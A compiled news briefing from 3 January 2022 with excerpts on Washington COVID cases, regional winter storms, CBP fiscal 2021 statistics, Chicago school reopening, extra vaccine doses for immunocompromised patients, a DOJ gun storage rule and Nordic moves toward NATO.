<b>GIST</b>	<p>COVID-19 is on a rampage through Washington, based on data released by the state Department of Health on Monday.</p> <p>The state recorded 6,037 new cases after breaking records in the last week. The state reported 6,883 cases on Dec. 30; 10,470 cases on Dec. 31; 8,521 cases on New Year's Day; and 8,054 cases on Sunday.</p> <p>As of Monday, statewide totals from the illness caused by the coronavirus were 882,144 cases and 9,853 deaths.</p> <p>The case total included 103,033 infections listed as probable. Death data was not updated from Thursday's figure due to a technical issue, DOH said. In addition, the total case count could have as many as 2,000 duplicates that DOH is working to eliminate, it said.</p>
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<b>HEADLINE</b>	<b>01/03 Weather collision over Puget Sound</b>
<b>SOURCE</b>	<a href="https://www.thenewstribune.com/news/weather-news/article257014647.html">https://www.thenewstribune.com/news/weather-news/article257014647.html</a>
<b>GIST</b>	<p>Cold arctic air from Canada is headbutting a warm and wet system moving in from the Pacific all week, and the battleground is Puget Sound.</p> <p>Meanwhile, snow has closed mountain passes and coastal towns and roads are flooding from combined high tides and storms surges.</p> <p>Tacoma, Olympia and points south will see rain in the coming days while Seattle and areas north will see more snow, according to the National Weather Service.</p> <p>Snow has already won in the mountains where it shut down Interstate 90 across Snoqualmie Pass on Monday, according to the state Department of Transportation.</p> <p>The cold air coming down from British Columbia's Fraser Valley was forecast to continue through most of the week, said NWS meteorologist Jeff Michalski. The freezing air was countered by ocean storms headed inland from the south-southwest, he said.</p> <p>The forecast calls for the snow level to hover between 500 and 1,000 feet in Pierce and Thurston counties, according to the NWS.</p> <p>"There's definitely a rain-snow mix possible," Michalski said. Rain is in the forecast all week in the South Sound with highs going from 40 degrees on Monday to 49 degrees on Thursday. Lows will hover around 34 degrees most of the week.</p>



The Hood Canal area saw the most rain in the region, according to Michalski, with 2 to 3 inches of precipitation falling from noon Sunday to noon Monday. Pierce County saw 1-2 inches of rain Sunday.

The last week of 2021 saw daily snowfall somewhere in Puget Sound.

Seattle had 9.2 inches of snow in December, more than the city typically gets all winter, according to AccuWeather.

Anywhere from 6-12 inches of snow was expected to fall in the Cascades on Monday. That would be on top of the 9-18 inches that fell overnight, the NWS said. Snow also closed White Pass. The warm weather mass was expected to push inland Thursday, and rains should ease up Friday.

While the weekend might be dry across the region, trouble on rivers could just be starting as snow melts and saturated ground feeds creeks.

Michalski pegged the Chehalis River as a possible flooder. Monday's high tide pushed into Westport, situated at the mouth of Grays Harbor. Further south, U.S. 101 in Raymond was closed due to flooding. Along the Naselle River, 101 had water over the roadway, according to WSDOT.

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HEADLINE	01/03 CBP: operational statistics FY 2021																						
SOURCE	<a href="https://www.hstoday.us/subject-matter-areas/border-security/cbp-releases-operational-fiscal-year-2021-statistics/">https://www.hstoday.us/subject-matter-areas/border-security/cbp-releases-operational-fiscal-year-2021-statistics/</a>																						
GIST	<p>U.S. Customs and Border Protection has released agency statistics for Fiscal Year 2021 covering all major areas of operations, including international travel and trade, forced labor enforcement, drug seizures, and national border encounter statistics.</p> <p>“The operational statistics for Fiscal Year 2021 show the breadth and scope of CBP’s mission, which encompasses travel and trade, drug interdiction, and border security,” said CBP Commissioner Chris Magnus. “CBP’s mission is vital to making our country safer and more secure, and important to our economic recovery. Fiscal Year 2021 numbers reflect tremendous success in drug interdiction, as CBP seized over 900,000 pounds of drugs through enhanced efforts and technology.</p> <p>“CBP also issued seven Withhold Release Orders (WROs) and two Findings in FY2021 to protect American consumers and businesses from receiving nearly \$500 million of goods made by forced labor. At the same time, CBP has helped facilitate a return to normal in terms of cross-border traffic, travel and trade as our nation continues to move through the pandemic. These are not just numbers; they reflect the commitment of CBP’s workforce to their mission, to protecting the American people, and to fighting modern-day slavery.”</p> <p><b>International Travel and Trade</b></p> <p>One of CBP’s core mission objectives is to enhance the nation’s economic prosperity, including through the facilitation of lawful trade and travel. CBP’s role is vital to America’s economic rebound from the impacts of the ongoing COVID-19 pandemic. CBP continues to protect America’s national and economic security by facilitating legitimate trade while rigorously enforcing U.S. customs laws and regulations. While CBP’s trade and travel numbers have not entirely returned to pre-pandemic levels, they have increased significantly in recent months.</p> <table><tr><th>Count</th><th>FY 2019 (Oct-Sept)</th><th>FY 2020 (Oct-Sept)</th><th>FY 2021 (Oct-Sept)</th><th>FY2020 Through COVID (Mar-Sept)</th><th>FY2021 Through COVID (Mar-Sept)</th></tr><tr><td>Air</td><td>135,752,914</td><td>62,125,287</td><td>44,353,467</td><td>10,475,770</td><td>32,909,956</td></tr><tr><td>Passenger Vehicles</td><td>99,768,261</td><td>68,460,199</td><td>58,253,148</td><td>28,084,535</td><td>36,391,385</td></tr></table>					Count	FY 2019 (Oct-Sept)	FY 2020 (Oct-Sept)	FY 2021 (Oct-Sept)	FY2020 Through COVID (Mar-Sept)	FY2021 Through COVID (Mar-Sept)	Air	135,752,914	62,125,287	44,353,467	10,475,770	32,909,956	Passenger Vehicles	99,768,261	68,460,199	58,253,148	28,084,535	36,391,385
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Pedestrians	50,926,744	35,323,043	26,185,635	12,253,388	16,495,881	34.62%
Commercial Trucks	12,041,189	11,442,407	12,509,613	6,547,755	7,496,975	14.50%

To ensure a smooth, more efficient inspection process at the border, CBP continues to recommend that travelers:

- Acquire a Western Hemisphere Travel Initiative document and/or apply for a trusted traveler program.
- Use the CBP One™ mobile application, an intuitive single point of entry for travelers and stakeholders to access CBP mobile applications and services, including obtaining proof of their electronic I-94 form on their mobile device.

CBP encourages Visa Waiver Program travelers seeking to obtain an approved [ESTA](#) to take advantage of the time savings offered by using CBP One™ or the [CBP I-94 website](#). With an ESTA, these travelers can apply for their I-94 in advance of arrival and avoid filling out the Form I-94W at a Port of Entry.

### Trade Stats/Seizures – Protecting the American Consumer

In FY2021, CBP processed approximately \$2.8 trillion of imports, an increase of nearly 17 percent compared to the same period in Fiscal Year 2020. Overall, CBP collected approximately \$93.8 billion in duties, taxes, and other fees on behalf of the U.S. government in FY2021, representing a 133% increase over a five-year period.

CBP works diligently with the trade and the port operators to ensure that merchandise is cleared as efficiently as possible. CBP works with the trade community to strengthen international supply chains and improve border security. There are several programs by which CBP works with importers, carriers, consolidators, licensed customs brokers and manufacturers to advance information about the shipments and expedite the inspection process at the ports of entry.

CBP has also seized more than 83,000 shipments for trade violations in the current fiscal year. In September 2021 alone, CBP processed more than 3 million entry summaries valued at more than \$259 billion, identifying estimated duties of nearly \$8.4 billion to be collected by the U.S. government. Intellectual property rights violations continue to put America's innovation economy at risk. Trade in [counterfeit and pirated goods](#) threatens the competitiveness of U.S. businesses, the livelihoods of American workers, and the health and safety of consumers.

### Forced Labor Enforcement

CBP continues to aggressively investigate and prevent goods made by [forced labor](#) from entering U.S. commerce. After a record-breaking year in forced labor enforcement in FY2020, CBP established itself as a global leader in the fight to end forced labor, winning the Samuel J. Heyman Service to America Medals People's Choice Award FY2021. Forced labor violates [international labor standards](#) and universal human rights.

- CBP issued seven Withhold Release Orders in Fiscal Year 2021 to protect American consumers and businesses from goods made by forced labor. Those orders have targeted [cotton products](#) and [tomato products](#) from China's Xinjiang Uyghur Autonomous Region; [silica-based products](#) made by a company that operates in Xinjiang; [palm oil](#) from a Malaysian company; and tuna and other seafood harvested by a [Chinese fishing fleet](#), a [Taiwan-flagged fishing vessel](#), and a [Fijian-flagged fishing vessel](#).
- In FY2021, CBP detained 1,469 shipments that contained approximately \$486 million of goods suspected to be made by forced labor. As Homeland Secretary Alejandro N. Mayorkas has said, CBP will not tolerate forced labor in our supply chains and stands against cruel and inhumane labor practices.

### Drug Seizures

CBP officers, Border Patrol agents, and Air and Marine Operations agents continue to interdict the flow of illicit narcotics across the border. In FY2021, CBP seized 624,500 pounds of drugs. Compared to last fiscal year:

- Cocaine seizures increased 68%;
- Methamphetamine seizures increased 7%;
- Heroin seizures decreased 6%;
- Fentanyl seizures increased 134%.

Additional CBP drug seizure statistics can be found [here](#).

### **Agriculture Stats/Seizures – Securing American Agriculture**

In Fiscal Year 2021, CBP agriculture specialists helped protect America’s agriculture, natural resources, and economic prosperity.

- CBP issued 73,917 emergency action notifications for restricted and prohibited plant and animal products entering the United States.
- CBP conducted 630,150 positive passenger inspections and issued 7,190 civil penalties and/or violations to the traveling public for failing to declare prohibited agriculture items.

### **CBP COVID-19 Response**

The safety of our workforce, our communities, and individuals in our care is a top priority. CBP personnel put themselves and their families at risk with every encounter with the public. Since the start of the pandemic:

- More than 13,000 CBP employees have tested positive for COVID-19.
- 98% of CBP employees are in compliance with the executive order on vaccinations, with 87% fully vaccinated and 11% requesting a reasonable accommodation. Achieving this level of compliance in an agency as large as CBP is no small feat.
- Tragically, 59 CBP employees have passed away due to COVID-19.

### **Operation Sentinel**

In April 2021, CBP launched [Operation Sentinel](#), a new counter-network targeting operation focused directly on transnational criminal organizations affiliated with smuggling migrants into the United States.

More than 200 non-immigrant visas and more than 240 Global Entry and SENTRI cards have been revoked since the launch of Operation Sentinel, and more than 15 businesses and associated entities were targeted for suspension or debarment, two of which have since been disbarred. Lookouts had been placed on more than 1,700 individuals associated with transnational criminal organizations’ illicit activity. More than 1,100 individuals involved in illicit money transactions had been identified and referred to interagency partners for law enforcement actions. Operation Sentinel refers all cases with potential prosecutorial interest to investigative partners for review and prosecution.

### **CBP Nationwide Enforcement Numbers for Fiscal Year 2021**

CBP faced significant challenges at the border in FY2021, grappling with the continuing COVID-19 pandemic – which deeply affected the health and well-being of its workforce – while confronting a high number of Southwest Border encounters.

The high number of total encounters was partly driven by high recidivism rates (repeat encounters) among individuals processed under the CDC’s Title 42 public health authorities, meaning the actual number of unique individuals attempting to cross the border was substantially lower than total encounters.

The majority of border encounters resulted in expulsions under the Centers for Disease Control and Prevention’s (CDC) Title 42 public health authority. The varied demographics of the population encountered at the border, reductions in custody capacity, and other COVID-related restrictions made the processing of large number of noncitizens apprehended or found inadmissible under the government’s Title 8 immigration authority uniquely challenging in fiscal year 2021.

Overall, in FY 2021, there were 1.72 million CBP encounters that resulted in either expulsion under the CDC’s Title 42 public health authority or processing as Title 8 immigration enforcement cases (“enforcement encounters”). The Department completed 1.2 million repatriations, including expulsions under Title 42 and removals under Title 8, which represents a 15-year high that is more than two-and-a-

half times as many repatriations as in FY 2020. Most people encountered at the border (62 percent) were expelled under the Title 42 authority to prevent the spread of coronavirus disease 2019 (COVID-19).

In FY 2021, high border encounters were also driven by multiple factors: a continued long-term shift from almost all encounters being single adults from Mexico to large numbers of individuals in family units; a continued rise in encounters of unaccompanied children; and increasing migration flows from countries other than Mexico or the Northern Triangle.

### **CBP Efforts at and Between Ports of Entry**

In FY 2021, CBP recorded a total of 1.72 million enforcement encounters, including 146,054 encounters of unaccompanied children, 478,492 encounters of individuals in family units, and 1,098,500 encounters of single adults. The majority of all encounters were processed in accordance with orders from the CDC under its Title 42 public health authority to limit the spread of COVID-19.

### **Repeat Encounters**

The number of total encounters overstates the number of unique people attempting to cross the border. Prior to the pandemic, about one in eight border encounters involved a person previously encountered during the prior year. However, since CBP began expelling noncitizens under the CDC's Title 42 public health order to limit the spread of COVID-19, the repeat encounter rate jumped to more than one in three encounters, including almost half of single adult encounters. Thus, while total enforcement encounters increased 82 percent between 2019 (the last pre-pandemic year) and 2021, the number of unique individuals encountered at the border increased 30 percent.

### **Changing Migrant Demographics**

Overall, CBP encountered 388,249 women and girls in 2021, an increase of 18 percent over 2019 and 159 percent over the average for 2014-2019. These FY 2021 numbers included almost 110,000 single adult women. The rising number of women and the shift from single adults to children and family units raise different processing needs and policy responses. Humanitarian concerns, inherent vulnerabilities, and legal protections make processing children and family units at the border, and throughout the immigration process, more complex and resource intensive than processing single adults.

Additionally, Mexican nationals accounted for just 28 percent of unique encounters in 2021, their lowest share in recorded history, versus 44 percent for the Northern Triangle countries and 28 percent for countries other than Mexico or the Northern Triangle – twice the previous record for this demographic. This trend is important because the Department of Homeland Security (DHS) does not currently have agreements to electronically verify nationality with these different countries of origin, making removing or expelling their nationals more resource-intensive and time-consuming.

Outside of Mexico and the Northern Triangle, the countries accounting for the largest number of encounters in FY 2021 were Ecuador, Brazil, Nicaragua, Venezuela, Haiti, and Cuba.

### **Unaccompanied Children**

Unique encounters of unaccompanied children (UC) along the Southwest Border increased 73 percent compared to 2019, the last pre-pandemic year. The increase in encounters, coupled with the prior administration's failure to expand the Department of Health and Human Services' (HHS) capacity to receive unaccompanied children from Border Patrol stations within the required timeframe, meant that, early in 2021, children were staying in Border Patrol stations for too long.

In response to the increase in the number of unaccompanied children encountered and the time they were spending in Border Patrol custody, DHS, through its Federal Emergency Management Agency (FEMA), provided coordination and technical support to the HHS Office of Refugee Resettlement, expanding temporary holding capacity by establishing temporary housing facilities for unaccompanied children along the border.

The Movement Coordination Cell (MCC), a standing interagency group to oversee the expedited processing and transfer of UCs and vulnerable individuals out of CBP custody, was formed to facilitate

communication and problem-solving among U.S. government agencies managing border immigration flow. The MCC is comprised of personnel from CBP, HHS, FEMA, Immigration and Customs Enforcement, and the Department of Defense.

Coupled with the development of the MCC, DHS was able to rapidly reduce the total number of UCs in CBP custody from over 5,600 on March 29 to under 500 six weeks later, even as UC encounter rates remained elevated.

### Rescues

Since the start of FY2021, CBP officers and agents have rescued more than 13,200 individuals in a wide variety of circumstances, an increase of more than 150 percent from FY2020. CBP officers and agents continue to stand ready to provide lifesaving assistance to all who need it.

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HEADLINE	01/03 Chicago classes open; teachers: maybe not
SOURCE	<a href="https://www.nytimes.com/2022/01/03/us/chicago-schools-remote-learning.html?action=click&amp;pgtype=Article&amp;module=&amp;state=default&amp;region=footer&amp;context=breakout">https://www.nytimes.com/2022/01/03/us/chicago-schools-remote-learning.html?action=click&amp;pgtype=Article&amp;module=&amp;state=default&amp;region=footer&amp;context=breakout</a> <a href="#">link back to briefing</a>
GIST	<p>CHICAGO — With coronavirus cases in Chicago soaring to their highest levels of the pandemic, public school students returned to classrooms on Monday. Whether they will still be there at midweek remains an open question.</p> <p>Members of <a href="#">the Chicago Teachers Union</a> were preparing to vote on whether to work remotely starting on Wednesday, with or without the district’s blessing. The union, which has repeatedly clashed with Mayor Lori Lightfoot’s administration, had demanded that every student be tested for the virus before returning from winter break, a step the district did not take.</p> <p>At a news conference on Monday, the union’s vice president, Stacy Davis Gates, expressed her anger at having “to continuously fight for the basic necessities, the basic mitigations.”</p> <p>Instead of universal testing, the district gave tens of thousands of students optional take-home tests before winter break. On Monday, it became clear that the testing effort to ensure a safe reopening had largely failed. Of 35,590 tests recorded by the district in the week ending Saturday, 24,843 had invalid results. Among the minority of tests that did produce results, 18 percent were positive.</p> <p>A district official said test vendors were looking into the reasons for the inconclusive results.</p> <p>Even as cases and hospitalizations around Chicago have risen, school leaders have been steadfast in their belief that classrooms should stay open. Pedro Martinez, <a href="#">the district’s chief executive</a>, said in an interview last week that he could not support closing all schools at a time when the rest of the city remained open for business. Instead, Mr. Martinez said it made more sense to make decisions about reverting to online teaching on a classroom-by-classroom basis as outbreaks emerged.</p> <p><a href="#">Chicago Public Schools</a> officials said on Monday that they were concerned about the union’s planned vote on switching to online instruction. If union members decided to pause in-person teaching, it was not clear whether the district would authorize that remote instruction or lock educators out.</p> <p>The dispute has left parents — both those who want their students in the classroom, and those who would have preferred to start the semester online — with little clarity on how the school year will unfold.</p> <p>“All of that uncertainty and chaos just really makes everything harder,” said Cassie Creswell, who leads a state-level education advocacy group in Illinois and who has a daughter at a public high school in Chicago. Ms. Creswell said she would have preferred that the district start the semester online.</p>

	<p>Ismael El-Amin, who has children at two Chicago schools, including one where he serves on the Local School Council, said his family was “definitely in a reactive mode” as he waited to see what disruptions might emerge. Mr. El-Amin said his family had skipped large Christmas and New Year’s celebrations with family in order to limit potential exposure to the virus.</p> <p>Mr. El-Amin said he had become more worried about how the constant upheaval might affect his daughters, who are vaccinated.</p> <p>“That fear is kind of transformed from the medical worst-case scenario to, this is going to be another month, another semester where my daughter’s going to miss out on consistent education, getting to know her friends, getting to know her teachers,” Mr. El-Amin said.</p>
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HEADLINE	<b>01/03 When three shots are not enough</b>
SOURCE	<a href="https://www.nytimes.com/2022/01/03/us/additional-doses-covid-vaccine.html">https://www.nytimes.com/2022/01/03/us/additional-doses-covid-vaccine.html</a>
GIST	<p>If asked to show her vaccine card, Stacey Ricks can choose from three.</p> <p>Ms. Ricks, 49, a kidney transplant recipient who takes immune-suppressing medication, did not develop antibodies after her first two Moderna shots.</p> <p>In June, without disclosing she already had received the Moderna shots, she got a dose of the Johnson &amp; Johnson vaccine before federal health officials had approved anyone for a third shot.</p> <p>Getting her fourth and fifth shots was trickier. By July, pharmacy records in the Houston area where she lives finally showed her prior shots. Armed with a doctor’s note explaining that she had not developed antibodies, Ms. Ricks convinced a pharmacist to give her two doses of the Pfizer-BioNTech vaccine over the summer.</p> <p>“She kept saying, ‘There’s no clinical data here,’” Ms. Ricks recalled. “And I said, ‘Hey, I am the clinical data.’”</p> <p>Ms. Ricks is one of many people with compromised immune systems in the United States who have sidestepped government guidelines and received unauthorized fourth or fifth shots.</p> <p>The Food and Drug Administration and the Centers for Disease Control and Prevention are in charge of determining when additional doses should be administered, but some patients and their doctors feel that federal agencies have acted too slowly to protect the most vulnerable.</p> <p>Israel has <a href="#">already begun rolling out fourth shots</a> — Prime Minister Naftali Bennett announced on Sunday that the country would offer additional shots to people age 60 and over, as well as to medical workers, becoming the first country to roll out an additional booster so broadly.</p> <p>By comparison, the C.D.C. <a href="#">updated its guidelines</a> in late October to say that immunocompromised groups would be eligible for a fourth dose six months after a third. For those who followed the rules, the earliest eligibility for a fourth would be in late February.</p> <p>But as new variants like Omicron arise and vaccination rates continue to be sluggish in many areas, worrying those with weak immune systems, many of them are getting extra shots without being certain of whether they are safe or effective.</p> <p>Typically, doctors have discretion to use approved medications outside of their recommended uses — so a fully approved vaccine like Pfizer’s could normally be prescribed as doctors see fit.</p> <p>But, in order to receive and administer any Covid-19 vaccines, providers must sign a <a href="#">legal agreement</a> with the C.D.C. — meaning that if they break the agency’s rules, they risk being kicked out of the vaccination</p>

program and could face prosecution. The C.D.C. also [previously warned](#) that providers administering unapproved shots may not have protection from patients' legal claims if something goes wrong.

Legal experts say the government has done little to enforce compliance with regulations and seems unlikely to pursue punishments for most providers.

People taking the extra shots are not doing anything illegal. They could face civil lawsuits if vaccine providers decide to go after them for lying, but that is extremely unlikely, according to Govind Persad, an assistant professor at the University of Denver Sturm College of Law.

The F.D.A. and C.D.C. did not respond to questions.

Getting extra shots seems to have worked for some — to a degree. After Ms. Ricks's fifth shot, her doctor sent her a note stating that she had developed a "moderate" antibody response but "still not a typical response." She has continued taking extra precautions as if she is unvaccinated.

Researchers say some immunocompromised people — depending on their condition and the medications they take — may never generate an immune system response, no matter how many shots they receive. Doctors and advocates for the extra doses say the United States has a surplus of vaccines, so the alternative is often letting them go to waste.

Higher levels of antibodies [seem to correlate](#) with better protection against the virus, but [researchers are not sure](#) exactly what level of protection different numbers of antibodies provide, and the F.D.A. [does not recommend](#) that people use antibody tests to gauge immunity.

The C.D.C. estimates there are [about seven million immunocompromised individuals](#) in the country, but it is difficult to know who will benefit from additional doses, according to Dr. Robert Wachter, chair of the department of medicine at the University of California, San Francisco.

"This is, at this point, probably more improv than science," he said.

With the blessing of his transplant team, Chris Neblett, who recently moved to Indiana, Pa., got a third shot in April.

Mr. Neblett, 44, had no idea whether it could help him — the medications he takes for his kidney transplant suppress his immune system and stopped him from generating antibodies after two shots of the Pfizer vaccine.

"Sure, we were skirting the rules, but what were the repercussions?" he said. "There weren't really any."

He generated low levels of antibodies after his third Pfizer shot, but it was not until his fourth shot in November that his antibody levels matched a normal, healthy individual's response.

Mr. Neblett believes that his gamble served the greater good — he is enrolled in a Johns Hopkins Hospital study on organ transplant patients' responses to coronavirus vaccines. [His data and that of](#) those who also acted outside of official guidelines helped convince the C.D.C. and F.D.A. to authorize third shots for vulnerable groups, according to Dr. Dorry Segev, a transplant surgeon at Johns Hopkins University who works on the study. He said hundreds of patients in his study got unauthorized shots.

"They're acting out of desperation," he said, adding, "Rather than say, 'Shame on them,' I would say, 'Shame on the system we've created.'"

While there could be some risks to additional shots, such as overstimulating the immune system, Dr. Segev said risks could be monitored carefully. Generally, he said, his data shows that additional vaccine doses should be safe and can work in some cases.



“If three doses didn’t work at all, we probably should consider something different for that fourth dose,” Dr. Segev said.

One example, he said, is to try reducing or stopping immune-suppressing medication before giving out additional doses if possible. He is one of many doctors complaining that the C.D.C.’s guidance is overly rigid and prevents medical professionals from treating patients on a case-by-case basis.

Karen Pearce’s doctor has written her a note that the timing of her booster “MUST be done prior to her next chemotherapy infusion,” a treatment she needs every six months to control a life-threatening inflammatory blood vessel disease.

But Ms. Pearce, 69, from Gettysburg, Pa., will not be eligible for a fourth shot until February, right after she is supposed to receive her next infusion, which she and her doctor both believe would render her fourth shot useless. This booster shot has taken on added importance with Omicron, but no providers have agreed to give it to her one month early.

“More flexibility in their guidance could save lives, maybe mine,” she said.

Other experts say there are limits to how flexible guidance can be. Getting additional doses too soon could be counterproductive, according to Shane Crotty, a professor at the La Jolla Institute for Immunology’s Center for Infectious Disease and Vaccine Research.

This is because the immune system’s long-term memory seems to perform better if it can rest between two vaccines, he explained, and the body takes months to perfect its antibody-making process after an initial vaccination.

One potential alternative to more shots involves using monoclonal antibodies to protect patients, said Dr. Lianne S. Gensler, a rheumatologist at the University of California, San Francisco. Most monoclonal antibody treatments have been in short supply — meaning they have only been used as a post-exposure treatment instead of a preventive measure. To make matters worse, [Omicron rendered some existing monoclonal antibody treatments ineffective](#).

The F.D.A. approved one [long-term preventive monoclonal antibody treatment](#) specifically meant for vulnerable populations in December, but doses may initially be limited.

Meanwhile, people with compromised immune systems ponder their imperfect options.

Patrick VanHorn, 67, of Ventura, Calif., has chronic leukemia and needs his immune-suppressing medication to stay alive. He produced no antibodies after his fourth dose of the Moderna vaccine in August.

He is discussing a fifth shot with his doctors but is not sure if he will go through with it.

“Right now, my thinking is, why bother?” he asked. “Nothing has happened in these first four shots. Why do I think a fifth shot would do something different?”

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HEADLINE	01/03 Heavy winter storm hits Northeast, D.C. area
SOURCE	<a href="https://www.nytimes.com/2022/01/03/us/sleet-snow-forecast.html">https://www.nytimes.com/2022/01/03/us/sleet-snow-forecast.html</a>
GIST	<p>Federal government offices and schools in the Washington, D.C., area were closed on Monday as the region received its first significant snowfall of the season, part of a winter storm that left at least three dead and more than half a million customers without power as it moved up the East Coast.</p> <p>“A major winter storm is underway,” the National Weather Service <a href="#">said on Monday morning</a>, while warning, “Snow-covered and slippery roads along with heavy snowfall and low visibility will make travel dangerous.”</p>



In Maryland, two women and a man died after their vehicle collided with a snow plow on Monday evening, according to the Montgomery County Police Department. Another man who was also in the vehicle was hospitalized in critical condition after the crash, the police said.

The storm dropped more than 14 inches of snow in parts of Northern Virginia, while Washington recorded more than eight inches, according to the Weather Service. In central Tennessee and northern Alabama, which caught the tail end of the storm, snowfall totals reached nine inches, [the Weather Service said](#).

The storm was moving north on Monday afternoon through Maryland, Northern Delaware and Southern New Jersey, where snowfalls totals ranged from six to 15 inches. The weather system was expected to pull offshore by about 10 p.m., Andrew Orrison, a meteorologist with the Weather Service in College Park, Md., said.

In North Carolina, the storm brought strong winds and snow to the mountains in the western part of the state, while up to two inches of rain fell in Greensboro, Raleigh and Durham, [breaking daily records for rainfall](#) set in 1992.

As of Monday night, more than 340,000 customers in Virginia were without electricity, while outages affected 43,000 customers in North Carolina and more than 42,000 in Maryland, [according to PowerOutage.us](#), which aggregates data from utilities across the United States.

Hundreds of flights from Washington-area airports were canceled or delayed on Monday morning, according to [FlightAware](#), which tracks the status of flights. The Atlantic City International Airport temporarily closed on Monday while crews worked to clear runways of snow, according to the New Jersey Department of Transportation.

At a news conference on Monday, Mayor Muriel Bowser of Washington said, “I can’t emphasize enough right now that you should stay home.” A snow emergency was in effect for the city until 7 p.m. Monday.

Gov. Larry Hogan of Maryland [mobilized state resources](#), and Gov. Philip D. Murphy of New Jersey [declared a state of emergency for five counties](#), warning residents to stay off the roads.

In [Delaware](#), state government offices were closed.

At a news conference, Governor Murphy said that as of Monday afternoon, emergency workers in his state had assisted 245 motorists.

“Stay off the roads,” he said. “Let this thing get cleaned up over the course of the evening, and then hopefully get a fresh start commute in the morning.”

Roads in the region became treacherous. The [Virginia State Police said](#) on Monday that its officers had responded to more than 650 reports of crashes and assisted more than 600 stranded vehicles as of 4 p.m. Some drivers had minor injuries, but no deaths were reported, the authorities said.

“The cars are going too fast for conditions, and they’re sliding off the roads, into ditches, into the cement walls, into one another,” said Corinne Geller, a spokeswoman for the Virginia State Police. Rain on Sunday prevented crews from properly salting the roads, she said, making highways more dangerous during the snow on Monday.

In Washington, Ms. Bowser said on Monday that residents should stay off the “very slick and hard-to-pass” roads.

Crews were working to remove snow from the roads in the affected states on Monday afternoon, after the worst of the storm had passed. Several agencies [posted images](#) of cars stuck on snow-covered roads, which officials urged residents to avoid so [snow plows](#) could clear the streets.

“Stay off the roadways, so our crews can safely do their jobs,” the [Maryland Department of Transportation said](#).

Schools across the Washington region canceled classes on Monday, as did several [in the Richmond area](#) in Virginia. In New Jersey, some systems announced closures while others said they would [operate with delayed openings](#).

The heaviest snow, at two inches per hour, occurred right after the transition from rain on Monday morning, meteorologists said. Mr. Orrison of the Weather Service said that there were reports of [thundersnow](#) — a phenomenon when thunder and lighting occur during a snowstorm — in the Washington area on Monday.

The possible refreezing of melted snow in the evening and overnight hours could lead to additional travel concerns.

With the possibility of black ice and slick roadways, the Virginia Department of Transportation told residents on Monday night to avoid travel, and the Maryland Department of Transportation told drivers to delay their commutes on Tuesday morning.

“The refreeze on the road could definitely be dangerous for commuters on Tuesday morning,” Mr. Orrison said.

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HEADLINE	<b>01/03 DOJ announces new gun control rule</b>
SOURCE	<a href="https://www.washingtontimes.com/news/2022/jan/3/biden-doj-announces-new-gun-control-rule/">https://www.washingtontimes.com/news/2022/jan/3/biden-doj-announces-new-gun-control-rule/</a>
GIST	<p>The Justice Department on Monday announced a new federal gun control rule aimed at ensuring gun owners have secure storage devices.</p> <p>Under the new rule, federally approved gun sellers will be required to have gun storage or safety devices available onsite for potential buyers as required by the Gun Control Act.</p> <p>According to the department, a secure gun storage device is defined as “a safe, gun safe, gun case, lock box or other device that is designed to be or can be used to store a firearm and that is designed to be unlocked only by means of a key, a combination or other similar means.”</p> <p>The department submitted the rule to the Federal Register. If approved, the change will amend the Bureau of Alcohol, Tobacco, Firearms and Explosives’ gun regulations and go into effect on Feb. 3.</p> <p>Attorney General Merrick B. Garland said the change is meant “to reduce the risk of firearms falling into the wrong hands.”</p> <p>“Gun safety is a Department of Justice priority, and we will continue to take all appropriate steps to help reduce the number of people killed and injured by the misuse of firearms,” Mr. Garland said in a statement.</p> <p>Lars Dalseide, spokesman for the National Rifle Association, told The Washington Times in an email that the gun-rights group “has always supported the safe storage of firearms.”</p> <p>The rule comes one month after the parents of Ethan Crumbley, the 15-year-old accused of fatally shooting four students at Oxford High School in Michigan, were arrested and charged with involuntary manslaughter because, authorities say, they failed to secure the gun he used in the killings.</p>

Oakland County prosecutor Karen McDonald said at a news conference that parents James and Jennifer Crumbley could have prevented the Nov. 28 mass shooting — which also left seven students injured — but they ignored various warning signs.

One day before the rampage, Ms. McDonald said the school alerted Ms. Crumbley that a teacher saw her son searching for ammunition on his phone and she reacted by sending him a text saying he needed to “learn not to get caught.”

On the day of the shooting, the parents were asked to come to the school after a teacher discovered a drawing by Ethan that appeared to show a gun with phrases including, “help me,” “the thoughts won’t stop” and “blood everywhere.” School officials told the parents that their son needed immediate counseling, but they reportedly decided to let him stay at the school.

According to police, the parents also did not check Ethan’s backpack where he could have stashed the 9 mm Sig Sauer SP2022 semi-automatic pistol that they had recently bought him as a Christmas gift. The pistol, Ms. McDonald said, had been left in an unlocked drawer in the Crumbleys’ bedroom.

“They had every reason to know he was dangerous and they gave him a weapon and they didn’t secure it and they allowed him free access to it,” she said at the conference on Dec. 3.

The parents have each pleaded not guilty to four counts of involuntary manslaughter.

There were 34 school shootings last year, more than twice the number recorded in 2020 (10) and ten more than in 2019 and 2018, which both had 24, according to EdWeek.org.

Laura Cooper, executive director of the Major Cities Chiefs Association, told The Times that the organization supports common-sense gun policies.

“Every responsible gun owner has a duty to store their firearm(s) safely, and ease of access in obtaining a safe storage device is helpful,” Ms. Cooper said in an email statement.

The ATF on Monday also published a “Best Practices Guide” for federal gun sellers which includes information on federal gun laws and regulations.

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HEADLINE	<b>01/03 Outsider nations move closer to NATO</b>
SOURCE	<a href="https://www.washingtontimes.com/news/2022/jan/3/putin-rages-some-outsiders-move-closer-nato/">https://www.washingtontimes.com/news/2022/jan/3/putin-rages-some-outsiders-move-closer-nato/</a>
GIST	<p>Russian President Vladimir Putin’s tough talk and threatening military buildup on Ukraine’s border could backfire and result in the one thing he says he doesn’t want: an expansion of NATO to more countries on Russia’s doorstep.</p> <p>While Mr. Putin is seeking guarantees from the West that Ukraine and others not be allowed to join the Western military alliance, some countries in the region that long shunned NATO membership in favor of a policy of neutrality are reconsidering purely as a response to Russia’s aggressive posturing.</p> <p>Most notably, top officials in Finland in recent days have forcefully asserted that Helsinki has a right to apply for NATO membership, regardless of how Moscow feels about it. Sweden’s more conservative parties also have edged closer to NATO in recent years, and elections this spring could bring the question new prominence.</p> <p>Following a shift in policy by a far-right party, Sweden’s parliament formally adopted a “NATO option” motion on a 204-145 vote last month. The option allows the Riksdag to consider applying for membership sometime in the future. The measure passed over the strong opposition of the minority government, led by center-left parties.</p>

The motion does not force the government to act, but “we can now expect a more comprehensive political debate about an eventual Swedish membership,” Calle Hakansson, an analyst at the Swedish Institute of International Affairs, told public service television, according to a report by Politico Europe.

Finland and Sweden already have positive diplomatic relations with the alliance, but both have long been firm in their autonomy as militarily nonaligned countries, in part for fear of provoking Moscow.

